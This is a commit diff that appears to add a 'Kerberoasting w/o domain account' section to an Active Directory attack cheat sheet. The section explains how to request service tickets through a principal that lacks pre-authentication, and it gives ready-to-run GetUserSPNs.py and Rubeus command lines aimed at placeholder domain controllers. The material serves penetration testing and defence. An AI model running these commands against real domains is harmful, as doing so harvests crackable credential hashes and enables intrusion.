Add Kerberoasting w/o domain account

This commit add a Kerberoasting technique without domain account/credentials just a user without pre-authentication (AS_REP Roastable)

Methodology and Resources/Active Directory Attack.md

@@ -60,6 +60,7 @@
     - [Pass-the-Ticket Sapphire Tickets](#pass-the-ticket-sapphire-tickets)
   - [Kerberoasting](#kerberoasting)
   - [KRB_AS_REP Roasting](#krb_as_rep-roasting)
+  - [Kerberoasting w/o domain account](#kerberoast-without-preauth)
   - [CVE-2022-33679](#cve-2022-33679)
   - [Timeroasting](#timeroasting)
   - [Pass-the-Hash](#pass-the-hash)
@@ -1986,7 +1987,21 @@ C:\Rubeus> john --format=krb5asrep --wordlist=passwords_kerb.txt hashes.asreproa
 **Mitigations**: 
 * All accounts must have "Kerberos Pre-Authentication" enabled (Enabled by Default).
 
+## Kerberoasting w/o domain account
 
+In September 2022 a vulnerability was discovered by [Charlie Clark](https://exploit.ph/), ST (Service Tickets) can be obtained through KRB_AS_REQ request without having to control any Active Directory account.
+If a principal can authenticate without pre-authentication (like AS-REP Roasting attack), it is possible to use it to launch an KRB_AS_REQ request and trick the request to ask for a ST instead for a kerberoastable principal, by modifying the sname attribut in the req-body part of the request.
+
+The technique is fully explained in this article: [Semperis blog post](https://www.semperis.com/blog/new-attack-paths-as-requested-sts/).
+
+* [GetUserSPNs.py from PR #1413](https://github.com/fortra/impacket/pull/1413)
+```powershell
+GetUserSPNs.py -no-preauth "NO_PREAUTH_USER" -usersfile "LIST_USERS" -dc-host "dc.domain.local" "domain.local"/
+```
+
+* [Rubeus from PR #139](https://github.com/GhostPack/Rubeus/pull/139)
+```powershell
+Rubeus.exe kerberoast /outfile:kerberoastables.txt /domain:"domain.local" /dc:"dc.domain.local" /nopreauth:"NO_PREAUTH_USER" /spn:"TARGET_SERVICE"
 
 ## CVE-2022-33679